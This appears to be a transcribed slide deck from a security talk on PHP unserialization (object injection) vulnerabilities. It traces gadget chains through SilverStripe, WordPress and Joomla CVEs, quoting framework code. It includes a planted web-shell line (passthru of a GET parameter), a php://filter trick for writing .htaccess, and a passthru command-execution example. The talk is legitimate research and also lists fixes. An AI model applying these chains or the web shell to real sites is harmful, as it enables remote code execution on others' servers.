PHP unserialization vulnerabilities: What are we missing?

3. PHP unserialization vulnerabilities? Slowly emerging class of vulnerabilities (PHP) Object Injection • An application will instantiate an object based on user input • Unserialization • “new” operator (see blog.leakfree.nl - CVE-2015-1033 - humhub)

4. SilverStripe Changelogs 2.4.6 (2011-10-17) Security: Potential remote code execution through serialization of page comment user submissions.

5. 2009 • Stefan Esser - POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012

6. 2009 • Stefan Esser - POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012 2013 • Arseny Reutov - Confidence Krakow - PHP Object Injection revisited • Egidio Romano - JoomlaDay Italy - PHP Object Injection in Joomla...questo sconosciuto 2014 • Tom Van Goethem - Positive Hack Days - PHP Object Injection Vulnerability in WordPress: an Analysis • Johannes Dahse - ACM CCS - Code Reuse Attacks in PHP: Automated POP Chain Generation 2015 • Egidio Romano - Security Summit - PHP Object Injection Demystified

7. New exploits for old vulnerabilities • WordPress - CVE-2013-4338 - 714 days • Joomla - CVE-2013-1453 - 933 days • SilverStripe - CVE-2011-4962 - 1409 days

8. • WordPress plugin • 30% of ALL ecommerce sites (builtwith.com) • Bug fixed June 10 2015 • Same payload as CVE-2013-4338

9. The vulnerability unserialize($user_controlled_data)

10. The fixes json_decode($user_controlled_data) or unserialize($data, $allowed_class_array)

11. The exploit technique Code reuse ROP POP ret2libc Return Oriented Programming Property Oriented Programming

12. Agenda • What is PHP (un)serialization? • Why is it exploitable? • Let’s exploit it!

13. What is PHP (un)serialization? serialize — Generates a storable representation of a value unserialize — Creates a PHP value from a stored representation 1 i:1; ‘foobar’ s:6:”foobar”; i:1; 1 s:6:”foobar”; ‘foobar’

14. Primitive types in PHP scalar • boolean • integer • float • string compound • array • object special • resource • NULL

15. Array

16. Object public class className { private $prop1 = ‘value1’; protected $prop2 = ‘value2’; public $prop3 = ‘value3’; public function meth1() { } } $x = new className();

17. Agenda • What is PHP Unserialization? • Why is it exploitable? • Let’s exploit it!

18. Magic methods • __construct() • __destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()

19. Magic methods • __construct() • __destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()

20. __wakeup • Invoked on unserialization • Reinitialise database connections • Other reinitialisation tasks

21. __destruct • Invoked on garbage collection • Clean up references • Finish any unfinished business • Often interesting things happen here!

22. __toString • Invoked when an object is treated as a string: echo $object; • Can contain complex rendering methods

23. __call Invoked when an undefined method is called $object->foobar($args)=$object->__call(‘foobar’,$args)

24. Autoloading • Applications define a function to deal with unloaded classes, this is invoked during unserialization • Either “__autoload” function or any function registered with “spl_autoload_register”

25. Weak typing “PHP does not require (or support) explicit type definition in variable declaration” variables (->object properties) can take any value

26. All functions have variable arguments foobar() = foobar(null) = foobar(null, null)

27. Weak typing + variable args = Many possible POP chains

28. Agenda • What is PHP Unserialization? • Why is it exploitable? • Let’s exploit it!

29. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic

30. SilverStripe 2.4.x – 2.4.6 CVE-2011-4962 (Tim Klein)

32. function PostCommentForm() { … // Load the users data from a cookie if($cookie = Cookie::get("PageCommentInterface_Data")) { $form->loadDataFrom(unserialize($cookie)); } … } Entry point – PageCommentInterface - PostCommentForm

34. function sapphire_autoload($className) { global $_CLASS_MANIFEST; $lClassName = strtolower($className); if(isset($_CLASS_MANIFEST[$lClassName])) include_once($_CLASS_MANIFEST[$lClassName]); else if(isset($_CLASS_MANIFEST[$className])) include_once($_CLASS_MANIFEST[$className]); } spl_autoload_register('sapphire_autoload'); Autoloader from core.php

36. Possible start points • 0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log

37. public function __destruct() { if(is_resource($this->handle)) mysql_free_result($this>handle); } __destruct #1 - MySQLQuery

38. function __destruct() { $this->closeFile(); } protected function closeFile() { if($this->fileHandle) fclose($this->fileHandle); $this->fileHandle = null; $this->rowNum = 0; $this->currentRow = null; $this->headerRow = null; } __destruct #2 - CSVParser

39. public function __destruct() { foreach($this->_writers as $writer) { $writer->shutdown(); } } __destruct #5 - Zend_Log

40. Possible start points • 0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log

42. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream

47. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream • 8 x “function __call” • Aggregate, VirtualPage, Object, ViewableData, Form_FieldMap, TabularStyle, Zend_Cache_Frontend_Class, Zend_Log

48. function __call($func, $args) { return call_user_func_array(array(&$this->form, $func), $args); } __call #6 – TabularStyle – proxy gadget

49. public function __call($method, $params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log

50. Catch all __call gadget Useful because of what triggers it $this->anyProperty->anyMethod($anyArgs) This at any start point will trigger it

51. public function __call($method, $params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log

53. Written to file [19-Aug-2015 19:40:12] Error at line : hi mum (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)

54. Written to file [19-Aug-2015 19:40:12] Error at line : <?php passthru($_GET[‘c’]); ?> (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)

55. 403

56. There is a way • Using “php://filter/convert.base64-decode/resource=” • PHP ignores all non base64 characters • Can be nested • Use this to write a new .htaccess in a subdirectory • See Stefan Esser’s Piwik advisory from 2009

57. Wordpress<3.6.1 CVE-2013-4338 (Tom Van Goethem)

59. Mathias Bynens utf8 in mysql ≠ UTF-8 • Only handles up to 3 byte characters • 4 byte character terminates input like a null-byte poisoning attack UPDATE table SET column = 'foo𝌆bar' WHERE id = 1; SELECT column FROM table WHERE id = 1; - returns ‘foo’

60. Tom Van Goethem Genius insight = We can abuse this to screw with WordPress’ unserialization

62. No autoloader!?

64. Possible start points (get_declared_classes) • 0 x “function __wakeup” • 2 x “function __destruct” • wpdb, WP_Object_Cache • 1 x “function __toString” • WP_Theme

65. public function __destruct() { return true; } __destruct #1 - wpdb

66. public function __destruct() { return true; } __destruct #2 - WP_Object_Cache

67. /** * When converting the object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme

73. /** * When converting the object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme

74. /** * Makes a function, which will return the right translation index, according to the * plural forms header */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " $index = (int)($expression); return ($index < $nplurals)? $index : $nplurals - 1;"; return create_function('$n', $func_body); } Endpoint – make_plural_form_function - Translations

75. WP_Theme __toString display load_textdomain (l10n.php) load_theme_textdomain load_textdomain MO import_from_file import_from_reader Translations set_headers set_header make_plural_form_function

79. Joomla < 3.03 CVE-2013-1453 (Egidio Romano)

80. Prior exploits • 2013 - Egidio Romano • Arbitrary directory deletion • Blind SQL injection • 2014 - Johanne Dahse • File permission modification • Directory creation • Autoloaded local file inclusion – WTF!

81. The LFI exploit Abuses a sink I didn’t know about (method_exists) Requires • null byte poisoning in include (CVE-2006-7243 – fixed 2010) • Malformed class name passed to method_exists (fixed 2014)

83. public function onAfterDispatch() { … // Get the terms to highlight from the request. $terms = $input->request->get('highlight', null, 'base64'); $terms = $terms ? unserialize(base64_decode($terms)) : null; … } Entry point - PlgSystemHighlight extends JPlugin

85. Autoloader has lots of code • If the classname starts with the prefix “J” • Split camelCase at each uppercase letter • e.g. JCacheController is at /libraries/Joomla/cache/controller.php

87. public function __destruct() { // Do not render if debugging or language debug is not enabled if (!JDEBUG && !$this->debugLang) { return; } // User has to be authorised to see the debug information if (!$this->isAuthorisedDisplayDebug()) { return; } … } private function isAuthorisedDisplayDebug() { … $filterGroups = (array) $this->params->get('filter_groups', null); … } Starting point - __destruct - plgSystemDebug extends JPlugin

89. Next steps • 33 x “function get” • JApplicationCli, JApplicationWeb, JCache, JCacheControllerCallback, JCacheControllerPage, JCacheControllerView, JCacheController, JCacheStorageApc, JCacheStorageCachelite, JCacheStorageFile, JCacheStorageMemcache, JCacheStorageMemcached, JCacheStorageWincache, JCacheStorageXcache, JCacheStorage, JClientFtp, JGithubGists, JGithubIssues, JGithubPulls, JGithubRefs, JHttp, JInputFiles, JInput, JLanguage, JObject, JPagination, JRegistry, JSession, JCategories, JException, JRequest, JViewLegacy, SimplePie • 4 x “function __call” • JCacheController, *JDatabaseDriver, *JDatabaseQuery, JInput

90. /** * Executes a cacheable callback if not found in cache else returns cached output and result * * @param mixed $callback Callback or string shorthand for a callback * @param array $args Callback arguments * @param string $id Cache id * @param boolean $wrkarounds True to use wrkarounds * @param array $woptions Workaround options * * @return mixed Result of the callback * * @since 11.1 */ public function get($callback, $args = array(), $id = false, $wrkarounds = false, $woptions = array()) { … $result = call_user_func_array($callback, $Args); … } get #4 - JCacheControllerCallback extends JCacheController

91. call_user_func_array as an endpoint • Trivial if we control both args: call_user_func_array(‘passthru’, ’uname –a’) • Near trivial if we control just first arg: call_user_func_array(array($object, $method_name),$args)

92. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject

93. public function get($property, $default = null) { if (isset($this->metadata[$property])) { return $this->metadata[$property]; } return $default; } get #24 - JLanguage

94. api.url=“x:///” + api.username=“arbitrary” -> $this->fetchUrl(..) = “arbitrary@”

95. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject

96. elseif (strstr($callback, '::')) { list ($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand

97. Variable variables $a = ‘b’ $b = ‘c’ $$a = $($a) = $b = ‘c’

98. elseif (strstr($callback, '::')) { list ($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand

99. $id = $this->_makeId($callback, $args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic

100. • call_user_func_array doesn’t error on a non-existent method • We can use a proxy gadget to get past the “lock” method

101. public function __call($name, $arguments) { $nazaj = call_user_func_array(array($this->cache, $name), $arguments); return $nazaj; } Proxy gadget - JCacheController – __call

102. public function get($id, $group = null) { $data = false; $data = $this->cache->get($id, $group); … if ($data !== false) { $data = unserialize(trim($data)); } return $data; } get #7 - JCacheController

103. $id = $this->_makeId($callback, $args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic

104. There’s nothing to stop us following the same path twice • On the first pass we globalise $result and retrieve it from the cache • On the second pass we use $result as the object in the callback We can now call an arbitrary method on an arbitrary object

105. public function _startElement($parser, $name, $attrs = array()) { array_push($this->stack, $name); $tag = $this->_getStackLocation(); // Reset the data eval('$this->' . $tag . '->_data = "";'); … } protected function _getStackLocation() { return implode('->', $this->stack); } JUpdate – _startElement

107. 500

108. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } get #17 - JGithubGists extends JGithubObject

111. Take aways Developers • Think very carefully before using this type of function Testers / Researchers • Test for and find this type of issue • Exploit it – it’s fun!

113. Questions?

PHP unserialization vulnerabilities: What are we missing?

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